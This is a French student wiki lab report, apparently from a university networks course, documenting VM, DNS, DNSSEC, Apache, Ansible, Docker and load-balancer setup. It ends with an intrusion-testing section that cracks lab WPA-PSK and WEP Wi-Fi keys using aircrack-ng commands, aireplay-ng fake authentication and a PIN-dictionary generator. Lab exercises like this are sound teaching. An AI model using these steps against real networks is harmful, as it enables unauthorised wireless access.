  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51818</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51818"/>
				<updated>2019-12-16T16:52:09Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
